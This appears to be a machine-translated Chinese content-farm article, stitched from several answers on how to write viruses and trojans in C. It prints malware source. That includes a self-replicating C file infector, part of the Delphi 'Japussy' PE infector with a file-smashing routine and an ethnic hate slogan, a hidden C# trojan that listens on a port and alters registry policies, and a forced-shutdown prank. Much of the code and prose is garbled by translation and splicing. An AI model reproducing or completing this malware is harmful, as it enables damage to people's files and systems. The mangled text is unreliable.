怎么用c语言写病毒程序(c语言如何编写病毒)
大家好,给大家分享一下如何用C语言编写病毒程序(如何用C语言编写病毒),这个很多人还不知道。下面详细解释一下。现在让我们来看看!
1.如何用C语言编写木马、病毒等程序?
c语言当然可以写病毒。其实很多程序都是用C/C 写的。
编程语言本身不“贵”,用好了才相当强;区别在于主要适用范围,编程难度,执行效率,学习难度等等。
c语言只是一种编写计算机程序的格式规范。至于能写出什么样的程序,就看你用的C语言编译器了(比如TC,VC,LCC,GCC等。,太多)。
写windows程序的话不能用TC,它只能写DOS程序,要用VC,LCC,C Builder等编译工具)
写出来的程序必须调用操作系统提供的函数,比如windows程序调用Win32 API,而DOS程序调用DOS中断。编程实际上是对这些操作系统提供的功能的调用。
现在很多病毒都是用常见的编程工具编写的,比如VC 、delph、VC、Win32汇编等等。
2.如何用C语言写一个简单的病毒并给出代码过程
首先,这个程序是我举的一个例子,只是为了让大家明白。如果你捉弄人,我不承担任何责任!希望大家专注学习!我们应该讨厌病毒,但是作为一个纯研究,很多人还是对病毒很感兴趣。以前用汇编做了一些破坏性的病毒,想和大家分享一下。但是考虑到有些小人看完之后会做出一些损人不利己的行为,所以我决定用这个简单无害的C语言伪病毒来说明问题,再次声明这都是为了编程研究!!!病毒的特点:病毒最大的特点是自我复制。根据病毒的分类,病毒有很多种。这里我们将介绍最流行的添加型病毒,它通过重写和添加正常文件来实现自身的自我复制。
从程序的角度来看,我们需要做两件事:1。让程序在不影响其他程序工作的情况下,将自身复制到其他程序中,使其具有继续复制的能力。2.在一定的条件下,使其产生某种癫痫发作的效果。
其实第一件事其实可以看做是复制文件,把病毒源文件的所有函数放在被感染文件的末尾,在被感染文件中调用这个函数。下面给出了C语言的实现过程:1 .主程序调用病毒函数2,病毒函数读取并搜索同一目录下的所有C文件;3.找到一个(被感染的C文件),打开,把这个文件全部读入数组变量;4.重新创建一个相同名称的文件(受感染的C文件)5。将数组变量写回被感染的C文件,并写入病毒源文件所需的头文件和病毒函数调用语句;6.打开病毒源文件,将所有病毒函数函数写到被感染的C文件末尾;这么简单的一个C语言伪病毒. C已经运行完程序,并将其内容保存为after _ virus。C .此时,如果我们将1.c文件复制到其他机器上,或者通过电子邮件发送给A盘上的其他人,那么结果就是,他们会感染保存1.c文件的目录下的所有C文件。对于第二件事——“攻击效果”,在这里,只有printf语句警告你。当然,你可以写一个TSR常驻函数。事实上,这个程序几乎不能被称为病毒,但它根本不是一个真正的病毒。好了,就这些。代码如下:# include # include void main(void){ virus();} int virus(){ struct ff blk ff blk;文件*in,*out,* readchar * virus = " virus.cchar buf考虑到那种病毒。丙型肝炎会感染逆转录病毒。c和病毒。c将清除病毒。c .所以写这两个程序的时候一定要加一个条件语句if (strcmp (ffblk.ff _ name," virus.c ")!=0)和if (strcmp (ffblk.ff _ name," virus.c ")!=0)。[80];char * p;char * end = " returnchar * bracket = " }char * main = " mainchar *include[2]={"stdio.h "," dir . h " };char * int _ virus = " int virus()";char *缓冲区;int done,I,j=0,flag = 0;printf(" \ n我有病毒。由PuBin撰写\ n ");done = findfirst(*。c ",&ffblk,0);而(!done){ I = 0;if ((in = fopen(ffblk.ff_name," rt "))= = NULL){ goto next;} do { if(I > = 50){ fclose(in);转到下一个;} p=fgets(buf[i],80,in);i ;}while(p!= NULL);fclose(in);out=fopen(ffblk.ff_name," w t ");fputs("#include\n ",out);fputs("#include\n ",out);do { if(strstr str(buf[j],main)!= NULL){ for(;J 3。如何用C语言写一个木马病毒
c语言是一种通用的计算机编程语言,应用非常广泛。C语言的设计目标是提供一种能够以简单的方式编译处理低级内存,生成少量机器码,不需要任何运行环境支持就能运行的编程语言。
C语言虽然提供了很多底层处理功能,但仍然保持了良好的跨平台特性。用标准规范编写的c语言程序可以在许多计算机平台上编译,甚至包括一些嵌入式处理器(MCU)和超级计算机。
1.首先你得想想你的病毒能达到什么功能。
2.然后了解病毒的特点,自发性,传染性,关联性。
3.最后,如何绕过目标电脑的防火墙和杀毒软件。
4.如何用C语言编写一个病毒?
熊猫烧香病毒,请不要滥用程序Japussy使用Windows、SysUtils、Classes、Graphics、ShellAPI{、Registry}。const HeaderSize = 82432//病毒体的大小IconOffset = $ 12EB8//PE文件//主图标的偏移量//在我的Delphi5 SP1上编译的大小可能和其他版本的Delphi不一样。//查找十六进制字符串280000020,求出主图标的偏移量{ HeaderSize = 38912//Upx压缩病毒体的大小IconOffset = $ 92BC//Upx压缩PE文件主图标偏移量//Upx 1.24W用法:UPX-9-8086 Japussy.exe}图标大小= $ 2E8//PE文件主图标的大小//744字节icon tail = icon offset IconSize;//PE文件主图标的尾部ID = $ 44444444;//感染标记//写在流行语里的垃圾代码=‘如果一个种族需要被消灭,那一定是大和。’ ‘如果一个国家需要被摧毁,那一定是日本!’ '*** W32。japussy . worm . a * * *’;{$R *。RES}函数RegisterServiceProcess(dwProcessID,dw type:Integer):Integer;stdcall外部“kernel 32 . dll”;//函数声明var TmpFile:string;si:startup info;Pi:进程_信息;IsJap:Boolean = False;//日文操作系统标志{判断是否是Win9x}函数is Win9x:Boolean;var Ver:TOSVersionInfo;开始结果:= Falsever . dwosversioninfosize:= SizeOf(TOSVersionInfo);如果不是GetVersionEx(Ver ),则退出;if(ver . dwplatformid = VER _平台_WIN32_WINDOWS)那么//Win9x结果:=真;结束;{流间复制}过程复制流(src:tstream;sStartPos:整数;dst:TStream;dStartPos:整数;计数:整数);var sCurPos,dCurPos:Integer;begin sCurPos := Src。位置;dCurPos := Dst。位置;Src。Seek(sStartPos,0);夏令时。Seek(dStartPos,0);夏令时。CopyFrom(Src,Count);Src。Seek(sCurPos,0);夏令时。Seek(dCurPos,0);结束;{将主机文件与受感染的PE文件分开使用}过程提取文件(文件名:字符串);var sStream,dStream:TFileStream;begin try sStream := TFileStream。Create(ParamStr(0),fmOpenRead或fmShareDenyNone);try dStream := TFileStream。创建(文件名,fmCreate);试试sStream。Seek(HeaderSize,0);//跳过头的病毒部分,dstream.copyfrom (sstream,sstream . size-头大小);最后是dStream。免费;结束;最后是Stream。免费;结束;除了end结束;{填充STARTUPINFO结构}过程填充startup info(var si:startup info;状态:Word);begin Si . CB:= SizeOf(Si);si . LP reserved:= nil;si . lpdesktop:= nil;si . LP title:= nil;si . dw flags:= STARTF _ USESHOWWINDOW;si . wshowindow:= State;si . CB reserved 2:= 0;si . lpreserved 2:= nil;结束;{发送有害邮件}过程SendMailBegin //谁愿意完成它?结束;{被感染PE文件}过程感染文件(文件名:字符串);var HdrStream,SrcStream:TFileStream;IcoStream,dst stream:TMemoryStream;iID:LongInt;aIcon:TIcon;Infected,IsPE:Boolean;I:整数;Buf: array[0..1]的字符;Begin try //如果有错误,文件正在被使用。Exit if compare text (filename,' japussy . exe ')= 0 then//如果是自己,就不会感染exit;已感染:=假;IsPE:= False;SrcStream := TFileStream。Create(文件名,fmOpenRead);尝试for i := 0到8 do //检查PE文件头begin srcstream.seek (I,sofrombinging);SrcStream。Read(Buf,2);如果(BUF [0] = # 80)和(BUF [1] = # 69)那么//PE标记开始IsPE:= True;;//是PE文件分隔符;结束;结束;SrcStream。Seek(-4,soFromEnd);//检查感染标记SrcStream。改为(iID,4);if(iid = id)or(srcstream . size < 10240)则//太小的文件不会被感染:= True最后SrcStream。免费;结束;如果被感染或者(不是IsPE)那么//如果它被感染或者不是PE文件则退出;IcoStream := TMemoryStream。创建;DstStream := TMemoryStream。创建;试试aIcon := TIcon。创建;尝试//获取被感染文件的主图标(744字节)并存储在流aIcon中。释放句柄;爱康。Handle := ExtractIcon(HInstance,PChar(FileName),0);爱康。SaveToStream(IcoStream);最后是aIcon。免费;结束;SrcStream := TFileStream。Create(文件名,fmOpenRead);//头文件HDR stream:= tfilestream . create(paramstr(0),fmopenread或fmsharednenone);尝试//在病毒体主图标前写数据副本流(HDR流,0,dststream,0,icon offset);//写当前程序的主图标copystream (icostream,22,dststream,iconoffset,iconsize);//在病毒体主图标和病毒体尾部之间写入数据copystream (HDR流、图标尾、dststream、图标尾、header-icon尾);//写入宿主程序copystream (srcstream,0,dststream,headersize,src stream . size);//写入受感染的标记DstStream。Seek(0,2);iID:= $ 4444444;DstStream。Write(iID,4);最后HdrStream。免费;结束;最后SrcStream。免费;IcoStream。免费;DstStream。SaveToFile(文件名);//替换宿主文件DstStream。免费;结束;除外;结束;结束;{将目标文件写入垃圾代码并删除}程序smash文件(文件名:字符串);var .
5.如何用C写一个病毒
3.1.1病毒程序病毒。C这是一个用C语言写的病毒程序,显示病毒程序被触发的时间,然后返回。
病毒程序病毒。C可以感染一个C语言程序。被病毒感染的程序在编译、连接和执行时,病毒可以部分传播到其他C语言源程序中。
每执行一个带病毒的C语言程序,病毒就传到C语言源程序一次。这个程序的设计思路是:当一个包含病毒部分的程序被执行时,首先进入病毒程序。
它会在磁盘上查找扩展名为C的匹配文件,如果是,它会查找被感染的徽标“INFECTED”。如果有这个标志,继续寻找其他的C文件,直到所有的都检查完。
如果没有这样的标志,那么(1)在未感染的C程序头上加上“已感染”。(2)读取病毒文件的头文件,将其插入到待感染文件的头文件中。
如果发现重复,将不会插入。(3)插入“病毒();”在主程序中调用病毒函数。
查找printf、for、while、break语句,并在找到它们之前插入它们。(4)在文件末尾插入VIRUSES _ SUB子程序。
(5)在要感染的文件中插入的VIRUSES _ SUB子例程中,文件名必须改为当前文件名,否则被感染的文件在编译、连接、运行后无法继续感染。(6)最后,插入病毒子程序。
在这个子程序中调用了VIRUSES _ SUB,执行结果返回到这里。使用了四个错误返回值,即:1。用户文件太大,无法感染;2:带病毒的文件打不开,不传染;3:病毒文件读取不成功,所以没有被感染;4:查找第一个匹配文件失败。
如果返回值为0,则文件感染成功。具体实现过程如下:函数和结构的用法请参考3.3节。
首先,导入病毒子程序要用到的三个库文件,分别是dir.h、stido.h、dos.h,在主函数中只调用病毒函数。定义在病毒函数之后立即调用的VIURS_SUB函数。
其中定义了几个变量。Ffblk用来保存找到的匹配文件的信息,里面的ff_name变量用来保存匹配的文件名。
然后定义存储未感染文件和病毒文件的文件类型指针变量,用*virus_r和*virus_v读取文件缓冲区,放入二维数组a[500][80]中暂存。因为这个程序不会感染大于500行的C文件,所以可以放进去。
首先用getdate函数获取系统的当前日期并输出。然后使用findfirst函数找到扩展名为C的文件,并将其信息保存到ffblk中。
用fgets函数读取文件的第一行,长度为80-1个字符。然后,strstr函数被用来检测病毒的迹象,看看文件是否有感染的迹象。
如果是,则表示该文件已被感染。关闭文件而不被感染。当包含病毒部分的程序被执行时,它首先进入病毒程序。
它会查找匹配的文件*。一旦找到它,它就会寻找“被感染”的标志。如果有这个迹象,继续寻找其他*。c文件,直到检查完所有文件。
如果没有这样的标志,就把所有文件读成一个[500][80]。如果发现文件超过500行,就不会感染,并返回。将文件指针指向文件头,打开带有病毒的文件。
如果打不开,就回去。然后读取带有病毒的文件的前四行,也就是病毒子程序要使用的头文件,写入要感染的文件。
如果带病毒的文件无法读取,则返回。使用n_line变量控制行数,将被感染文件的源程序写回原文件。
其中病毒文件现有include语句不被写入以进行处理,也就是说,不重复#Include语句。这是通过定义一个字符数组char include _ h [] = {"dos.h "," stdio.h "," dir . h " };strstr函数检查被感染文件的头文件是否与*include_h[]相同,如果相同,则不插入。
找出通话病毒;;插入点:如果一行中有printf、break、for、while语句之一,则在其后插入调用病毒函数的调用语句。将病毒子程序写入文件。
最后,更改受感染的文件名。如果不改名,就不能多次感染,也就不能体现病毒的自我复制能力。
找到行static char virus _ f[]= { " virus . c " },把文件名改成被感染的文件名。然后找到下一个匹配的文件。
3.1.2病毒清除程序审查。病毒清除的过程与感染的过程相反。感染时,插入调用病毒函数的调用语句,并在杀毒文件中删除该语句。
然后删除病毒子程序VIURSES_SUB和VIURSES。存在无法恢复的问题。
因为当时插入病毒子程序所需的头文件时,没有记录感染前文件的头文件信息,所以无法恢复。但这并不影响原始文档。
所以病毒清除程序不处理这个问题。因为病毒程序病毒。c和病毒清除程序回顾。放在同一个目录中进行演示。
[50]
当包含清洁部分的程序被执行时。它会在磁盘上查找扩展名为C的匹配文件,如果是,它会查找被感染的徽标“INFECTED”。
如果没有这种迹象,继续寻找其他C文件,直到所有的检查。如果有这个标志,(1)查找磁盘文件,如果有感染标志“已感染”,打开文件。
如果没有,关闭文件并寻找下一个测试*。c. (2)读取文件,先判断是否是病毒();如果不是,确定是否是int Viruses _ sub(),如果不是,读取。
6.如何用C语言编辑病毒代码
c语言病毒代码# include # include # include # include/* copy outfile to infile */void copy file(char * infile,char * outfile) {file * in,* outin = fopen(infile," r ");out = fopen(outfile," w ");而(!feof(in)) { fputc(fgetc(in),out);} fclose(in);fclose(out);} /*这个函数名为Rubbishmaker。*/void make baggest(){ int I;FILE * fpchar * pathchar * NewNamechar *disk[7] = {"A "," B "," C "," D "," E "," F "," G " };char * add tion = ":\ \ ";/*在当前目录*/for(I = 0;从I程序的角度来看,我们有两件事要做:1。让程序在不影响其他程序工作的情况下,将自身复制到其他程序中,使其具有继续复制的能力。2.在一定的条件下,使其产生某种癫痫发作的效果。
其实第一件事其实可以看做是复制文件,把病毒源文件的所有函数放在被感染文件的末尾,在被感染文件中调用这个函数。下面给出了C语言的实现过程:1 .主程序调用病毒函数2,病毒函数读取并搜索同一目录下的所有C文件;3.找到一个(被感染的C文件),打开,把这个文件全部读入数组变量;4.重新创建一个相同名称的文件(受感染的C文件)5。将数组变量写回被感染的C文件,并写入病毒源文件所需的头文件和病毒函数调用语句;6.打开病毒源文件,将所有病毒函数函数写到被感染的C文件末尾;这么简单的一个C语言伪病毒. C已经运行完程序,并将其内容保存为after _ virus。C .此时,如果我们将1.c文件复制到其他机器上,或者通过电子邮件发送给A盘上的其他人,那么结果就是,他们会感染保存1.c文件的目录下的所有C文件。对于第二件事——“攻击效果”,在这里,只有printf语句警告你。当然,你可以写一个TSR常驻函数。事实上,这个程序几乎不能被称为病毒,但它根本不是一个真正的病毒。好了,就这些。代码如下:# include # include void main(void){ virus();} int virus(){ struct ff blk ff blk;文件*in,*out,* readchar * virus = " virus.cchar buf[50][80];char * p;char * end = " returnchar * bracket = " }char * main = " mainchar *include[2]={"stdio.h "," dir . h " };char * int _ virus = " int virus()";char *缓冲区;int done,I,j=0,flag = 0;printf(" \ n我有病毒。由PuBin撰写\ n ");done = findfirst(*。c ",&ffblk,0);而(!done){ I = 0;if ((in = fopen(ffblk.ff_name," rt "))= = NULL){ goto next;} do { if(I > = 50){ fclose(in);转到下一个;} p=fgets(buf,80,in);i ;}while(p!= NULL);fclose(in);out=fopen(ffblk.ff_name," w t ");fputs("#include\ .
7.如何用C语言制作一个简单的病毒
首先创建一个1.bat文件,然后根据下面的2113在5261中写下你要删除的键。删除4102注册表中的注册表项Windows注册表编辑器5.00版[-HKEY _本地_机器\软件\微软\ Windows \当前\运行]另存为reg文件。双击指南删除此1653密钥。注意有“-”号删除注册表中的值并返回到Windows注册表编辑器5.00版[HKEY _本地_机器\软件\微软\ Windows \当前\运行]" Soundman " =-这样就可以删除这个值了。你可以自己做。记得先备份注册表再做伤害。
8.如何用C语言写后台病毒程序的代码?
实现木马服务程序,主要实现以下功能:后台运行(隐藏技术)、接收控制代码、修改注册表。以下三个方面进行介绍:1 .在VC#中,很容易建立一个后台服务程序。首先,用自定义的项目名建立一个新的C# Windows应用程序(但可以用和系统类似的名字进行隐藏)。将窗体的“ShowInTaskbar”属性设置为false,使其运行时不会显示在任务栏中,将“Windowstate”属性设置为mini化,使窗体可以隐藏运行。
当然也可以在InitializeComponent()中设置。这个函数起到初始化的作用,在表单显示之前运行。代码如下:PrivateVoidInitializeComponent(){///form 1///表单的起点和大小显示这个。AutoscaleBasesize = new system . drawing . size(6,14);这个。ClientSize =新系统。图纸。尺寸(368,357);//窗体名称this.name = " form1//设置属性,让它运行此。后台ShowInTaskbar = false这个。Text = " Form1这个。WindowState = System。windows . forms . formwindowstate . minimized;} 2.控制代码的接收必须在服务程序开始时启动,所以程序初始化时必须启动监听线程,所以放在窗体的构造函数中,代码注释如下:public Form1() ///Windows窗体设计器的构造函数支持必要的//initialize component();//// TODO:在InitializeComponent调用后添加任何构造函数代码。//添加您的监听代码。//可以自己设置端口。我用的是固定端口int port = 6678//系统;网;插座;tcplistener是listener =新的tcplistener(端口),用于侦听Tcp网络中的客户端;//开始监听listener . Start();//添加接收控制代码的线程。如果要停止线程,可以使用Thread.abort()//reControlCode是线程开始执行的函数。该函数根据接收到的控制//控制代码选择合适的注册表修改函数thread thread = new thread(new threadstart(re control Code));线程。start();RECONTROCODE函数如下。完整代码请参见PrivateVoid RECONTROCODE(){//设置接收套接字的程序。接收监听器。AcceptSocket是返回接收客户的请求socket = listener . accept socket();//如果连接成功执行while (socket。Connected){//接收控制码byte[]by = new byte[6];int i = socket。收到(由,由。长度,0);字符串ss =系统。text . encoding . ascii . getstring(by);//根据控制代码执行不同的功能。//修改注册表添加代码开关(SS){ case " jiance "://测试连接,返回测试信息字符串str = " hjcbyte [] bytee = System。text . encoding . ascii . getbytes(str);插座。发送(字节,0,字节。长度,0);打破;案例" zx 1000 "://修改注册表函数,自己定义。参见下面对unlogoff()的分析;//返回控制消息retMessage();打破;案例" zx 0100 "://修改注册表函数un close();//返回控制消息retMessage();打破;//重复的case函数和之前一样,默认:break省略;}//case }//while }//Private Void re control代码3,C#使用系统。Microsoft.Win32命令空。NET类库,它提供了两种类型的类:处理操作系统引起的事件的类和操作系统注册表的类。你可以在下面看到它的用法。
这里我做了一个修改注册表的子程序:让电脑无法注销。在此之前,先了解一下注册表,将子项Software \ \ Microsoft \ \ Windows \ \ Current Version \ \ Policies \ \ Explorer下的键值NoLogOff设置为1,使电脑无法注销。
在下面的函数中,用C#修改了注册表:private void UnLogOff(){//获取主机注册表的顶层节点Microsoft。Win32。注册表项R Local = registry。本地机器;//设置注册表子项的变量RegistryKey key1try {//function registry key . open subkey(string registry key,bool canwrite)检索指定的子项。registrykey是用户指定的键值,如果canwrite为true可以修改。默认为fasle immutable key 1 = r local . open subkey(" software \ \ Microsoft \ \ windows \ \ current version \ \ policies \ \ explorer ",true);//设置子项的键名,值key1.setvalue ("nologoff ",1);//关闭打开的子项key 1 . Close();//警告字符串设置mystr = mystr "HKEY _本地_机器\ \软件\ \微软\ \ windows \ \当前版本\ \策略\ \资源管理器键值Nologoff被修改!请设置为0!”;}catch{}//如果没有自创建if(key1 ==null){try{//使用registry key . create subkey(string mystring)函数创建需要的子项,registry key 2 = r local . create subkey(" software \ \ Microsoft \ \ Windows \ \ current version \ \ Policies \ \ Explorer ");按键2。SetValue("NoLogOff ",1);按键2。close();Mystr = mystr "HKEY本地计算机\ \软件\ \微软\ \ windows \ \当前版本\ \策略\ \资源管理器键值Nologoff已被修改!请设置为0!”;} catch { } } }。木马程序中的另一个重要功能是自我复制和转移。当特洛伊木马被引入受控主机时,它必须自动隐藏在System,System32目录中,以防被发现。
传输的代码分析如下。主要功能是将木马程序从D盘转移到C:\ \ win ntt \ \ system \ \ msdoss.exe,同时更改名字。使用。网络域名系统。空之间的IO,它的作用是允许同步和异步读写数据流和文件。
我们使用系统。IO.File类在这里。私人空间.
9.有哪些病毒是用C语言写的?
# include # include main(){ char a;int b;系统(“关闭-s”);Printf("你是猪吗?\ n如果是,请输入y;如果不是,请输入n。
");a = getchar();b = a = = ' yif(b = = 1){ system(" shut down-a ");Printf("哈,世界上又多了一只会说话的猪。\ n ");} else printf("后果很严重...\ n ");getchar();getchar();返回0;}这应该不是病毒,没有自我复制功能。你可以把它放到编译器里运行,看看会有什么后果。
以上解释了如何用C语言编写病毒程序(如何用C语言编写病毒)。这篇文章已经分享到这里了。希望能帮到大家。如果信息有误,请联系边肖进行更正。
相关推荐
- 出包王女有多少集02-16
- 考编和考公务员的区别12-01
- 花旗参泡水喝的功效 经常喝有这7大好处12-01
- 属鼠的几月犯月,属鼠的几月出生最不好12-01
- 中职专业课面试科目指定教材02-16
- 车轮胎到底多久更换一次12-01
- 做梦在结婚是什么征兆12-01
- 二极管漏电流多大时会影响使用寿命12-01
- 做梦打架是啥意思02-16
- 苹果13辅助圆球怎么设置12-01